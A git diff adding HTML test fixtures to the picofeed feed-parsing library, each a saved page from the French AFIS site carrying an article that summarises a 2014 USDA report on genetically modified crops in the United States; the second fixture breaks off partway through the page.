diff --git a/vendor/fguillot/picofeed/tests/fixtures/html4_head_stripped_page.html b/vendor/fguillot/picofeed/tests/fixtures/html4_head_stripped_page.html
new file mode 100644
index 000000000..2f860ebf3
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/html4_head_stripped_page.html
@@ -0,0 +1,435 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
+<html>
+
+<body>
+
+<div id="main">
+<div id="header_bcg">
+ <div id="header">
+ <a class="home" href="http://www.pseudo-sciences.org"></a>
+ <a href="http://fr-fr.facebook.com/pages/Afis-Science-et-pseudo-sciences/165001693548888" target="_blank" title="Suivez-nous sur Facebook!" class="rss"><img src="squelettes/img/facebook.png" alt="Facebook" width=25 height=25></a>
+ <a href="https://twitter.com/afis_science" target="_blank" title="Suivez-nous sur Twitter!" class="rss"><img src="squelettes/img/twitter.png" alt="Twitter" width=25 height=25></a>
+ <a class="rss" title="Abonnement au flux RSS" href="/rss.xml" style="background: url(squelettes/img/rss.png) no-repeat;width:84px;"></a>
+ <a class="promo2" href="/boutique.html" style="background: url(squelettes/img/promo_abo.jpg) no-repeat;"></a>
+ </div>
+ </div>
+
+ <div id="menu_head">
+ <ul>
+ <li><a href="spip.php?rubrique11"><img src="squelettes/img/menu1.png" alt="Articles" ></a></li>
+ <li><a href="spip.php?rubrique14"><img src="squelettes/img/menu2.png" alt="Chroniques" ></a>
+ <div class="menu_raccord" style="width:120px;background:#E0AB27;"></div>
+ <ul class="menu2">
+
+ <li><a href="spip.php?rubrique47">Un monde fou, fou, fou...</a></li>
+
+ <li><a href="spip.php?rubrique24">Du côté de la science</a></li>
+
+ <li><a href="spip.php?rubrique53">Du côté de la recherche</a></li>
+
+ <li><a href="spip.php?rubrique26">Entre l&#8217;espoir et le faux-mage</a></li>
+
+ <li><a href="spip.php?rubrique16">Dialogue avec nos lecteurs</a></li>
+
+ </ul>
+ </li>
+
+ <li><a href="spip.php?rubrique8"><img src="squelettes/img/menu3.png" alt="Dossiers" ></a>
+ <div class="menu_raccord" style="width:109px;background:#36ABE0;"></div>
+ <ul class="menu3">
+
+ <li><a href="spip.php?rubrique60">Alimentation</a></li>
+
+ <li><a href="spip.php?rubrique30">Astrologie</a></li>
+
+ <li><a href="spip.php?rubrique39">Environnement</a></li>
+
+ <li><a href="spip.php?rubrique49">Homéopathie</a></li>
+
+ <li><a href="spip.php?rubrique32">Le créationnisme à visage découvert</a></li>
+
+ <li><a href="spip.php?rubrique29">Le Livre noir de la psychanalyse</a></li>
+
+ <li><a href="spip.php?rubrique57">Médicaments&nbsp;: à la recherche de l’expert indépendant</a></li>
+
+ <li><a href="spip.php?rubrique40">Nucléaire</a></li>
+
+ <li><a href="spip.php?rubrique38">OGM</a></li>
+
+ <li><a href="spip.php?rubrique55">Ondes électromagnétiques</a></li>
+
+ <li><a href="spip.php?rubrique33">Paranormal</a></li>
+
+ <li><a href="spip.php?rubrique56">Psychanalyse</a></li>
+
+ <li><a href="spip.php?rubrique34">Science et croyances&nbsp;: débat</a></li>
+
+ </ul>
+ </li>
+
+ <li><a href="spip.php?rubrique4"><img src="squelettes/img/menu4.png" alt="Livres et médias" ></a>
+ <div class="menu_raccord" style="width:151px;background:#CA123E;"></div>
+ <ul class="menu4">
+
+ <li><a href="spip.php?rubrique13">Notes de lecture</a></li>
+
+ <li><a href="spip.php?rubrique2">Dans les médias</a></li>
+
+ <li><a href="spip.php?rubrique25">Dans la presse sceptique</a></li>
+
+ <li><a href="spip.php?rubrique48">Sornettes sur Internet</a></li>
+
+ </ul>
+ </li>
+
+ <li><a href="spip.php?rubrique42"><img src="squelettes/img/menu5.png" alt="Tribunes" ></a>
+ <div class="menu_raccord" style="width:101px;background:#92A5BA;"></div>
+ <ul class="menu5">
+
+ <li><a href="spip.php?rubrique43">Science et croyances</a></li>
+
+ <li><a href="spip.php?rubrique44">OGM</a></li>
+
+ <li><a href="spip.php?rubrique45">Psychanalyse</a></li>
+
+ <li><a href="spip.php?rubrique54">Nucléaire</a></li>
+
+ </ul>
+ </li>
+
+ <li><a href="spip.php?rubrique15"><img src="squelettes/img/menu6.png" alt="La revue" ></a>
+ <div class="menu_raccord" style="width:103px;background:#4B4BA9;"></div>
+ <ul class="menu6">
+
+ <li><a href="spip.php?rubrique19">Éditoriaux</a></li>
+
+ <li><a href="spip.php?rubrique18">Sommaires</a></li>
+
+ <li><a href="spip.php?rubrique59">Presse</a></li>
+
+ <li><a href="spip.php?article25">Abonnements, adhésions, commandes</a></li>
+ </ul>
+ </li>
+
+ <li><a href="spip.php?rubrique17"><img src="squelettes/img/menu7.png" alt="L'AFIS" ></a>
+ <div class="menu_raccord" style="width:103px;background:#09559A;"></div>
+ <ul class="menu7">
+ <li><a href="spip.php?article65">Qui sommes-nous ?</a></li>
+
+ <li><a href="spip.php?rubrique35">Qu’est-ce que l’AFIS&nbsp;?</a></li>
+
+ <li><a href="spip.php?rubrique3">Communiqués</a></li>
+
+ <li><a href="spip.php?rubrique23">Afis Infos</a></li>
+
+ <li><a href="spip.php?article868">Gouvernance</a></li>
+ <li><a href="spip.php?article761">Comités locaux</a></li>
+ <li><a href="agenda.html">Agenda</a></li>
+ </ul>
+ </li>
+
+ <li><a href="spip.php?article25"><img src="squelettes/img/menu8_bis.png" alt="Nous rejoindre!" width=192 height=25 style="margin-right:0;"></a></li>
+ </ul>
+ </div>
+ <div id="navi">
+ <a href="http://www.pseudo-sciences.org"><img src="squelettes/img/home.png" style="padding-top:3px;" alt="Accueil" ></a>
+ <span class="navitxt">
+ <a href="http://www.pseudo-sciences.org">Accueil</a>
+
+
+
+
+
+
+
+
+ > <a href="spip.php?rubrique11" class="italic">Articles</a>
+
+
+
+
+ </span>
+
+ <form action="recherche.html" method="GET">
+ <input id="searchsubmit" type="submit" value="">
+ <input id="searchbox" name="recherche" type="text" value="Rechercher" onfocus="if(this.value == 'Rechercher'){this.value='';}" onblur="if(!this.value){this.value='Rechercher';}">
+ </form> </div>
+
+<!-- <p class="bold center" style="padding:5px;font-size:14px;"><span class="red">Dernière minute - </span><a class="blue" href="spip.php?article1762">Antennes
+relais et santé: des scientifiques répondent à l'ASEF</a></p> -->
+
+
+
+
+<div class="fondgris">
+
+ <div id="art_main">
+ <div id="art_pretitre"></div>
+
+ <div id="art_print">
+ <a href="spip.php?page=imprimer&amp;id_article=2280" rel="nofollow" target="_blank" style="margin-right:5px;">
+ <img src="squelettes/img/print.gif" alt="Imprimer" title="Imprimer cet article"></a>
+ <div class="g-plusone" data-size="medium" data-annotation="none"></div>
+ <a href="http://twitter.com/share" class="twitter-share-button" data-count="none" data-lang="fr">Tweeter</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
+ </div>
+
+ <div id="art_chapo" >
+ <h1>Un bilan des plantes génétiquement modifiées aux USA</h1>
+ <h2>Résumé d&#8217;un rapport américain</h2>
+ <p class="art_asd"></p>
+ <div style="clear:both;"></div>
+ </div>
+
+ <div class="texteencadre-spip spip">Nous publions ici, à titre d’information, <strong>un résumé du rapport du Service des études économiques </strong> (Economic Research Service)<strong> du ministère américain de l’agriculture </strong> (United States Department of Agriculture). Résumé rédigé par <strong>Louis-Marie Houdebine</strong>.
+<p>La culture des plantes génétiquement modifiées (PGM) a commencé aux USA en 1996. Et ce pays compte aujourd’hui, à lui seul, la moitié des PGM cultivées dans le monde. Un bilan économique de cette nouvelle technique de sélection génétique a été publié en février 2014. Il nous a semblé intéressant de porter à la connaissance ce document, afin d’aider nos lecteurs à se faire leur propre opinion sur un sujet controversé. En effet, si les OGM sont interdits à la culture en France (et dans plusieurs pays de l’Union Européenne), ils sont largement utilisés outre-Atlantique, et depuis près de deux décennies, ce qui permet une analyse <i>a posteriori</i>.</p>
+
+<p>Référence&nbsp;: &#8220;Genetically Engineered Crops in the United States&#8221;, Jorge Fernandez-Cornejo, Seth James Wechsler, Michael Livingston, and Lorraine Mitchell, Economic Research Report No. (ERR-162) 60 pp, February 2014. <a href="http://www.ers.usda.gov/publications/err-economic-research-report/err162.aspx#.Uz7yqvl_sg9" class='spip_url spip_out' rel='nofollow external'>http://www.ers.usda.gov/publication...</a></p>
+</div>
+<p>À eux seuls, le maïs, le soja et le coton génétiquement modifiés représentent environ la moitié des surfaces cultivées aux USA. Pour ces trois plantes, la proportion de PGM varie de 75 à 93%.</p>
+
+<h3 class="spip">Les aspects techniques</h3>
+
+<p>L’évolution du nombre d’essais en champs est un bon indice de l’activité passée et de celle qui se prépare. Entre 1996 et septembre 2013, les autorisations de culture expérimentales de PGM en champs ont été d’environ 25 000, réparties de la manière suivante&nbsp;:
+<br /><img src="squelettes-dist/puce.gif" width="8" height="11" class="puce" alt="-" />&nbsp;la tolérance à des herbicides (TH) – 6772 essais&nbsp;;
+<br /><img src="squelettes-dist/puce.gif" width="8" height="11" class="puce" alt="-" />&nbsp;la résistance à des insectes (RI) – 4809 essais&nbsp;;
+<br /><img src="squelettes-dist/puce.gif" width="8" height="11" class="puce" alt="-" />&nbsp;l’amélioration des propriétés agronomiques des plantes (résistance à la sécheresse ou au sel, capacité à utiliser l’azote atmosphérique, augmentation des rendements, couleur du coton etc.) – 5190 essais&nbsp;;
+<br /><img src="squelettes-dist/puce.gif" width="8" height="11" class="puce" alt="-" />&nbsp;l’amélioration des qualités nutritives (maîtrise de la maturation, amélioration du goût, supplémentation en protéines, en oligoéléments, en antioxydants, en vitamines, en acides gras, en amidon, en micronutriments, réduction de la teneur en gluten etc.) – 4896 essais&nbsp;;
+<br /><img src="squelettes-dist/puce.gif" width="8" height="11" class="puce" alt="-" />&nbsp;la résistance à des virus, à des champignons, à des nématodes ou à des bactéries – 2616 essais.</p>
+
+<p>Les institutions qui effectuent le plus d’essais en champs (rapportés au nombre de modifications génétiques) sont Monsanto (6782), Pioneer/DuPont (1405), Syngenta (565) et l’USDA – ministère de l’agriculture (370). En septembre 2013, l’Animal and Plant Health Inspection Service (APHIS) avait reçu 145 demandes d’agrément pour autoriser la culture et la consommation de PGM.&nbsp;96 de ces demandes ont été approuvées&nbsp;: 30 pour des maïs, 15 pour des cotonniers, 11 pour des tomates, 12 pour des sojas, 8 pour des colza/canola, 5 pour des pommes de terre, 3 pour des betteraves sucrières, 2 pour des papayers, des riz, et des courges, 1 pour un alfalfa (luzerne), 1 prunier, 1 rosier, 1 tabac, 1 lin et 1 chicorée. 49 demandes n’ont pas été approuvées.</p>
+
+<h3 class="spip">Les aspects économiques</h3>
+
+<p>Les PGM tolérantes à des herbicides (HT) sont plus cultivées que les PGM résistantes à des insectes (RI) car les herbes indésirables sont généralement plus envahissantes que les différentes pestes. Les PGM RI protégées par des toxines de type Bt (provenant de la bactérie <i>Bacillus thurengiensis</i>) (maïs et cotonniers) donnent en moyenne de meilleurs rendements et apportent plus de bénéfices aux agriculteurs que les plantes conventionnelles. Ce fait reste vrai malgré l’augmentation de 50% du prix des semences depuis 2001. L’efficacité des PGM RI est plus importante les années où les attaques par des insectes sont plus menaçantes. Les augmentations de rendement sont en partie dues à l’amélioration génétique classique des variétés qui sont à l’origine des PGM.&nbsp;Une bonne gestion des plantes refuges non génétiquement modifiées a permis de ne pas laisser émerger d’insectes résistants aux toxines des PGM.&nbsp;</p>
+
+<p>Les PGM RI permettent de diminuer très notablement les épandages de pesticides (ainsi, par exemple, pour le maïs, on a divisé par 10 les quantités utilisées par unité de surface cultivée). Aux USA en particulier, il apparaît que l’utilisation de PGM RI protège non seulement les champs directement concernés mais aussi dans une certaine mesure les champs voisins ne contenant pas de PGM.&nbsp;Cette observation est en accord avec la diminution de certains insectes nuisibles dans les régions où des PGM RI sont cultivées de manière intensive.</p>
+
+<p>Les PGM TH ne permettent que des augmentations limitées des rendements et des revenus des agriculteurs. Le succès des PGM TH vient donc du fait qu’elles permettent de réduire la charge de travail des agriculteurs et de diminuer les effets toxiques de certains herbicides utilisés pour les plantes conventionnelles, le glyphosate étant particulièrement peu toxique, biodégradable et inactif dans le sol. Un usage trop intensif du principal herbicide utilisé pour les PGM TH, le glyphosate, a fait émerger jusqu’à 14 plantes indésirables résistantes à cet herbicide dans certaines régions des USA. Ces résistances auraient pu être évitées en respectant les règles de base de l’agriculture, comme la rotation des cultures. Certains agriculteurs sont donc revenus à la situation <i>ante</i> PGM TH. Cette mésaventure va contribuer à baisser les revenus de ces agriculteurs. Des parades sont progressivement adoptées&nbsp;: rotation des cultures, labourage, utilisation d’herbicides autres que le glyphosate, utilisation de PGM TH tolérantes à plusieurs herbicides totaux, notamment le glufosinate, le dicamba et le 2,4-D n’agissant pas via les mêmes mécanismes que le glyphosate.</p>
+
+<p>L’agriculture sans labour ou avec des labours peu profonds permet de laisser sur le sol les sous-produits végétaux des récoltes formant des paillis, ce qui permet d’apporter de l’humus dans les sols et de limiter l’érosion due au ruissellement ou au vent. Il est possible de laisser les plantes sauvages pousser dans les champs après les récoltes et de les détruire à l’aide d’herbicides totaux comme le glyphosate, peu de temps avant les plantations ou en post levé. Il est de même possible de semer des graines de plantes sauvages après les récoltes pour augmenter l’apport au sol de matières organiques. Les PGM tolérantes au glyphosate sont bien adaptées à de telles pratiques.</p>
+
+<h3 class="spip">Les tendances actuelles</h3>
+
+<p>Les PGM de première génération (TH et RI) n’ont pas pour but de modifier le métabolisme des plantes, mais seulement de leur conférer des propriétés agronomiques favorables. Des améliorations sont encore attendues dans ce domaine. Les PGM dans lesquelles plusieurs transgènes ont été empilés sont de plus en plus répandues. Il peut s’agir de PGM à la fois TH et RI obtenues par croisement de PGM TH et de PGM RI. Certaines PGM ont actuellement jusqu’à 8 transgènes et plus. Cette approche permet de cumuler plusieurs propriétés de PGM de première génération. Les PGM avec des transgènes empilés sont généralement bien rentables pour les agriculteurs. Il est également possible de croiser des PGM de première et deuxième génération pour cumuler les effets des transgènes.</p>
+
+<p>Les PGM de deuxième génération destinées à améliorer les qualités nutritives des plantes sont en plein développement. Ce fait apparaît nettement lorsqu’on compare le nombre actuel des différents essais en champs.</p>
+
+<p>L’acceptabilité des PGM est en moyenne plus élevée dans les pays pauvres que dans les pays riches qui ne souffrent pas de déficit alimentaire. Une partie des consommateurs des pays riches est prête à payer plus cher les produits issus de plantes non GM.&nbsp;Les PGM de première génération sont essentiellement destinées à l’alimentation animale. Les consommateurs, même aux USA, ont jusqu’à maintenant bénéficié essentiellement de produits dérivés de PGM.&nbsp;Cette situation va logiquement changer progressivement avec l’arrivée des PGM de deuxième génération. Il se pourrait alors que des consommateurs acceptent un surcout pour les PGM de deuxième génération qui sont favorables à leur santé. Une tendance aux USA est la cohabitation des différents modes de culture, propre à répondre aux exigences de l’ensemble des consommateurs.</p>
+
+<p>L’émergence plus rapide que prévue de plantes sauvages tolérantes au glyphosate a révélé le fait que l’usage de PGM n’exonère pas les agriculteurs de se soumettre aux bonnes pratiques de l’agriculture. La mise sur le marché de PGM tolérantes à plusieurs herbicides agissant de manière différente est une réalité. Cette pratique devrait logiquement s’amplifier.</p>
+
+<p>L’obtention d’agréments pour la culture et la consommation de PGM de première génération est soumise aux USA à des règlementations moins contraignantes que dans la plupart des autres pays. Les PGM de deuxième génération sont pour la plupart métaboliquement modifiées. Des tests de sécurité alimentaire plus contraignants devront être appliqués à ce type de PGM.&nbsp;</p>
+
+<p>Une troisième génération de PGM est déjà une réalité et elle devrait prendre progressivement de l’importance. Ces PGM ne sont pas destinées à l’alimentation. Elles sont et seront productrices de biocarburants, de molécules d’intérêt pharmaceutique, d’huiles industrielles, de fibres, de plastiques etc.</p>
+
+
+
+
+
+ </div>
+
+<div id="art_menu"><div style="border:1px solid #CFCFCF;">
+
+
+ <div id="art_stats">Mis en ligne le 8 avril 2014<br>1116 visites</div>
+
+
+
+
+
+
+
+ <div id="art_themes" class="menubox">
+ <div class="cadre_top bleuclair_bcg"><img src="squelettes/img/titres/themes.png" alt="L'Auteur"></div>
+
+ <p class="center"><a class="bold" href="spip.php?mot165">OGM</a></p>
+ <ul>
+
+ <li><a href="spip.php?article2280" class="spip_in">Un bilan des plantes génétiquement modifiées aux USA</a></li>
+
+ <li><a href="spip.php?article991" class="spip_in">Les OGM&nbsp;: Menaces ou espoirs, données scientifiques</a></li>
+
+ <li><a href="spip.php?article2276" class="spip_in">Animal nutrition with transgenic plants</a></li>
+
+ <li><a href="spip.php?article784" class="spip_in">Que sont les OGM animaux&nbsp;?</a></li>
+
+ <li><a href="spip.php?article2275" class="spip_in">OGM, la question politique</a></li>
+
+ </ul>
+
+ </div>
+
+
+
+
+
+
+ <div id="art_abo" class="menubox">
+ <div class="cadre_top bleu_bcg"><img src="squelettes/img/titres/abonnezvous.png" alt="Abonnez vous"></div>
+
+ <p class="justify">Résultat de l'activité de bénévoles, l’AFIS ne trouve ses ressources que dans les cotisations de ses adhérents et la vente de sa revue.</p>
+ <p class="justify">En vous abonnant, vous nous soutenez dans notre action tout en étant assuré de recevoir en premier notre revue trimestrielle dans votre boite aux lettres.</p>
+ <p class="center" style="font-weight:bold;"><a href="boutique.html">S'ABONNER</a></p>
+
+ </div>
+
+
+ </div></div>
+ <div style="clear:both;" class="art_fin"></div>
+</div>
+
+<!-- Footer -->
+
+ <div id="taglist" class="box" >
+ <p>Explorer par thème</p>
+ <ul>
+
+ <li><a href="spip.php?mot227">autisme</a></li>
+
+ <li><a href="spip.php?mot76">acupuncture</a></li>
+
+ <li><a href="spip.php?mot198">alimentation</a></li>
+
+ <li><a href="spip.php?mot30">astrologie</a></li>
+
+ <li><a href="spip.php?mot43">astronomie</a></li>
+
+ <li><a href="spip.php?mot197">biotechnologies</a></li>
+
+ <li><a href="spip.php?mot187">climat</a></li>
+
+ <li><a href="spip.php?mot48">cosmologie</a></li>
+
+ <li><a href="spip.php?mot75">créationnisme</a></li>
+
+ <li><a href="spip.php?mot145">croyance</a></li>
+
+ <li><a href="spip.php?mot23">désinformation</a></li>
+
+ <li><a href="spip.php?mot22">écologie</a></li>
+
+ <li><a href="spip.php?mot34">économie</a></li>
+
+ <li><a href="spip.php?mot40">éducation</a></li>
+
+ <li><a href="spip.php?mot59">éthique</a></li>
+
+ <li><a href="spip.php?mot189">évolution</a></li>
+
+ <li><a href="spip.php?mot208">expertise</a></li>
+
+ <li><a href="spip.php?mot31">graphologie</a></li>
+
+ <li><a href="spip.php?mot66">histoire</a></li>
+
+ <li><a href="spip.php?mot11">homéopathie</a></li>
+
+ <li><a href="spip.php?mot141">laïcité</a></li>
+
+ <li><a href="spip.php?mot52">littérature</a></li>
+
+ <li><a href="spip.php?mot69">mathématiques</a></li>
+
+ <li><a href="spip.php?mot9">médecine</a></li>
+
+ <li><a href="spip.php?mot27">mythes et légendes</a></li>
+
+ <li><a href="spip.php?mot33">neurologie</a></li>
+
+ <li><a href="spip.php?mot64">nucléaire</a></li>
+
+ <li><a href="spip.php?mot61">numérologie</a></li>
+
+ <li><a href="spip.php?mot165">OGM</a></li>
+
+ <li><a href="spip.php?mot201">ondes</a></li>
+
+ <li><a href="spip.php?mot13">ostéopathie</a></li>
+
+ <li><a href="spip.php?mot65">ovnis</a></li>
+
+ <li><a href="spip.php?mot42">paranormal</a></li>
+
+ <li><a href="spip.php?mot55">parapsychologie</a></li>
+
+ <li><a href="spip.php?mot49">philosophie</a></li>
+
+ <li><a href="spip.php?mot16">placebo</a></li>
+
+ <li><a href="spip.php?mot45">pseudoscience</a></li>
+
+ <li><a href="spip.php?mot7">psychanalyse</a></li>
+
+ <li><a href="spip.php?mot32">psychiatrie</a></li>
+
+ <li><a href="spip.php?mot8">psychologie</a></li>
+
+ <li><a href="spip.php?mot46">rationalisme</a></li>
+
+ <li><a href="spip.php?mot39">religion</a></li>
+
+ <li><a href="spip.php?mot6">santé</a></li>
+
+ <li><a href="spip.php?mot38">science</a></li>
+
+ <li><a href="spip.php?mot68">SVT</a></li>
+
+ <li><a href="spip.php?mot67">physique</a></li>
+
+ <li><a href="spip.php?mot50">sectes</a></li>
+
+ <li><a href="spip.php?mot57">sociologie</a></li>
+
+ <li><a href="spip.php?mot62">spiritisme</a></li>
+
+ <li><a href="spip.php?mot179">TCC</a></li>
+
+ <li><a href="spip.php?mot14">vaccination</a></li>
+
+ <li><a href="spip.php?mot60">voyance</a></li>
+
+ <li><a href="spip.php?mot47">zététique</a></li>
+
+ </ul>
+ <br>
+ </div>
+
+ <div id="footer">
+ <span class="float_left italic">Développé sous SPIP, logiciel libre </span>
+ <span class="float_right">
+ <a href="plan.html">Plan du site</a>
+ <a href="spip.php?rubrique46">Archives</a>
+ <a href="spip.php?rubrique20">Liens</a>
+ <a href="spip.php?article24">Contact</a>
+ <a href="spip.php?article1096">Crédits</a>
+ </span>
+ </div>
+
+</div>
+
+<p id="w3c">
+ <a href="http://validator.w3.org/check?uri=referer">
+ <img src="squelettes/img/valid-html401.png" alt="Valid HTML 4.01 Transitional" height="31" width="88">
+ </a>
+
+ <a href="http://jigsaw.w3.org/css-validator/check/referer">
+ <img style="border:0;width:88px;height:31px" src="squelettes/img/vcss-blue.png" alt="CSS Valide !">
+ </a>
+</p>
+
+<script type="text/javascript">
+ var _gaq = _gaq || [];
+ _gaq.push(['_setAccount', 'UA-1826589-10']);
+ _gaq.push(['_trackPageview']);
+
+ (function() {
+ var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
+ ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
+ var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
+ })();
+</script>
+
+</body>
+
+</html>
+
diff --git a/vendor/fguillot/picofeed/tests/fixtures/html4_page.html b/vendor/fguillot/picofeed/tests/fixtures/html4_page.html
new file mode 100644
index 000000000..a6ee111ec
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/html4_page.html
@@ -0,0 +1,486 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
+<html>
+<head>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<title>Un bilan des plantes génétiquement modifiées aux USA - Résumé d'un rapport américain - Afis - Association française pour l'information scientifique</title>
+<meta name="Keywords" lang="fr" content="OGM, Afis, pseudo-sciences">
+
+<script type="text/javascript">
+ window.___gcfg = {lang: 'fr'};
+
+ (function() {
+ var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
+ po.src = 'https://apis.google.com/js/plusone.js';
+ var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
+ })();
+</script>
+
+<link rel="shortcut icon" href="afis.ico">
+<link rel="stylesheet" type="text/css" href="squelettes/style.css" media="screen">
+<!--[if IE 7]>
+<link rel="stylesheet" type="text/css" href="squelettes/css/ie7.css" media="screen">
+<![endif]-->
+<!--[if IE 6]>
+<link rel="stylesheet" type="text/css" href="squelettes/css/ie6.css" media="screen">
+<![endif]-->
+<!--[if IE 5.5000]>
+<link rel="stylesheet" type="text/css" href="squelettes/css/ie5.css" media="screen">
+<![endif]-->
+
+<link rel="stylesheet" type="text/css" href="squelettes/css/spip.css" media="screen">
+
+
+
+
+<!-- <link rel="alternate" type="application/rss+xml" title="AFIS RSS" href="/rss.xml"> -->
+
+<meta name="Identifier-URL" content="http://www.pseudo-sciences.org">
+<meta name="revisit-after" content="10">
+<meta name="Copyright" content="Afis - Association française pour l&#8217;information scientifique">
+<meta name="Robots" content="index, follow">
+
+<script type="text/javascript" src="squelettes/js/jquery.js"></script>
+<script src="prive/javascript/ajaxCallback.js" type="text/javascript"></script>
+<script type="text/javascript" src="squelettes/js/afis_fenetre.js"></script>
+<script type="text/javascript" src="squelettes/js/smoothscroll.js"></script>
+
+
+
+
+
+
+
+
+</head>
+<body>
+
+<div id="main">
+<div id="header_bcg">
+ <div id="header">
+ <a class="home" href="http://www.pseudo-sciences.org"></a>
+ <a href="http://fr-fr.facebook.com/pages/Afis-Science-et-pseudo-sciences/165001693548888" target="_blank" title="Suivez-nous sur Facebook!" class="rss"><img src="squelettes/img/facebook.png" alt="Facebook" width=25 height=25></a>
+ <a href="https://twitter.com/afis_science" target="_blank" title="Suivez-nous sur Twitter!" class="rss"><img src="squelettes/img/twitter.png" alt="Twitter" width=25 height=25></a>
+ <a class="rss" title="Abonnement au flux RSS" href="/rss.xml" style="background: url(squelettes/img/rss.png) no-repeat;width:84px;"></a>
+ <a class="promo2" href="/boutique.html" style="background: url(squelettes/img/promo_abo.jpg) no-repeat;"></a>
+ </div>
+ </div>
+
+ <div id="menu_head">
+ <ul>
+ <li><a href="spip.php?rubrique11"><img src="squelettes/img/menu1.png" alt="Articles" ></a></li>
+ <li><a href="spip.php?rubrique14"><img src="squelettes/img/menu2.png" alt="Chroniques" ></a>
+ <div class="menu_raccord" style="width:120px;background:#E0AB27;"></div>
+ <ul class="menu2">
+
+ <li><a href="spip.php?rubrique47">Un monde fou, fou, fou...</a></li>
+
+ <li><a href="spip.php?rubrique24">Du côté de la science</a></li>
+
+ <li><a href="spip.php?rubrique53">Du côté de la recherche</a></li>
+
+ <li><a href="spip.php?rubrique26">Entre l&#8217;espoir et le faux-mage</a></li>
+
+ <li><a href="spip.php?rubrique16">Dialogue avec nos lecteurs</a></li>
+
+ </ul>
+ </li>
+
+ <li><a href="spip.php?rubrique8"><img src="squelettes/img/menu3.png" alt="Dossiers" ></a>
+ <div class="menu_raccord" style="width:109px;background:#36ABE0;"></div>
+ <ul class="menu3">
+
+ <li><a href="spip.php?rubrique60">Alimentation</a></li>
+
+ <li><a href="spip.php?rubrique30">Astrologie</a></li>
+
+ <li><a href="spip.php?rubrique39">Environnement</a></li>
+
+ <li><a href="spip.php?rubrique49">Homéopathie</a></li>
+
+ <li><a href="spip.php?rubrique32">Le créationnisme à visage découvert</a></li>
+
+ <li><a href="spip.php?rubrique29">Le Livre noir de la psychanalyse</a></li>
+
+ <li><a href="spip.php?rubrique57">Médicaments&nbsp;: à la recherche de l’expert indépendant</a></li>
+
+ <li><a href="spip.php?rubrique40">Nucléaire</a></li>
+
+ <li><a href="spip.php?rubrique38">OGM</a></li>
+
+ <li><a href="spip.php?rubrique55">Ondes électromagnétiques</a></li>
+
+ <li><a href="spip.php?rubrique33">Paranormal</a></li>
+
+ <li><a href="spip.php?rubrique56">Psychanalyse</a></li>
+
+ <li><a href="spip.php?rubrique34">Science et croyances&nbsp;: débat</a></li>
+
+ </ul>
+ </li>
+
+ <li><a href="spip.php?rubrique4"><img src="squelettes/img/menu4.png" alt="Livres et médias" ></a>
+ <div class="menu_raccord" style="width:151px;background:#CA123E;"></div>
+ <ul class="menu4">
+
+ <li><a href="spip.php?rubrique13">Notes de lecture</a></li>
+
+ <li><a href="spip.php?rubrique2">Dans les médias</a></li>
+
+ <li><a href="spip.php?rubrique25">Dans la presse sceptique</a></li>
+
+ <li><a href="spip.php?rubrique48">Sornettes sur Internet</a></li>
+
+ </ul>
+ </li>
+
+ <li><a href="spip.php?rubrique42"><img src="squelettes/img/menu5.png" alt="Tribunes" ></a>
+ <div class="menu_raccord" style="width:101px;background:#92A5BA;"></div>
+ <ul class="menu5">
+
+ <li><a href="spip.php?rubrique43">Science et croyances</a></li>
+
+ <li><a href="spip.php?rubrique44">OGM</a></li>
+
+ <li><a href="spip.php?rubrique45">Psychanalyse</a></li>
+
+ <li><a href="spip.php?rubrique54">Nucléaire</a></li>
+
+ </ul>
+ </li>
+
+ <li><a href="spip.php?rubrique15"><img src="squelettes/img/menu6.png" alt="La revue" ></a>
+ <div class="menu_raccord" style="width:103px;background:#4B4BA9;"></div>
+ <ul class="menu6">
+
+ <li><a href="spip.php?rubrique19">Éditoriaux</a></li>
+
+ <li><a href="spip.php?rubrique18">Sommaires</a></li>
+
+ <li><a href="spip.php?rubrique59">Presse</a></li>
+
+ <li><a href="spip.php?article25">Abonnements, adhésions, commandes</a></li>
+ </ul>
+ </li>
+
+ <li><a href="spip.php?rubrique17"><img src="squelettes/img/menu7.png" alt="L'AFIS" ></a>
+ <div class="menu_raccord" style="width:103px;background:#09559A;"></div>
+ <ul class="menu7">
+ <li><a href="spip.php?article65">Qui sommes-nous ?</a></li>
+
+ <li><a href="spip.php?rubrique35">Qu’est-ce que l’AFIS&nbsp;?</a></li>
+
+ <li><a href="spip.php?rubrique3">Communiqués</a></li>
+
+ <li><a href="spip.php?rubrique23">Afis Infos</a></li>
+
+ <li><a href="spip.php?article868">Gouvernance</a></li>
+ <li><a href="spip.php?article761">Comités locaux</a></li>
+ <li><a href="agenda.html">Agenda</a></li>
+ </ul>
+ </li>
+
+ <li><a href="spip.php?article25"><img src="squelettes/img/menu8_bis.png" alt="Nous rejoindre!" width=192 height=25 style="margin-right:0;"></a></li>
+ </ul>
+ </div>
+ <div id="navi">
+ <a href="http://www.pseudo-sciences.org"><img src="squelettes/img/home.png" style="padding-top:3px;" alt="Accueil" ></a>
+ <span class="navitxt">
+ <a href="http://www.pseudo-sciences.org">Accueil</a>
+
+
+
+
+
+
+
+
+ > <a href="spip.php?rubrique11" class="italic">Articles</a>
+
+
+
+
+ </span>
+
+ <form action="recherche.html" method="GET">
+ <input id="searchsubmit" type="submit" value="">
+ <input id="searchbox" name="recherche" type="text" value="Rechercher" onfocus="if(this.value == 'Rechercher'){this.value='';}" onblur="if(!this.value){this.value='Rechercher';}">
+ </form> </div>
+
+<!-- <p class="bold center" style="padding:5px;font-size:14px;"><span class="red">Dernière minute - </span><a class="blue" href="spip.php?article1762">Antennes
+relais et santé: des scientifiques répondent à l'ASEF</a></p> -->
+
+
+
+
+<div class="fondgris">
+
+ <div id="art_main">
+ <div id="art_pretitre"></div>
+
+ <div id="art_print">
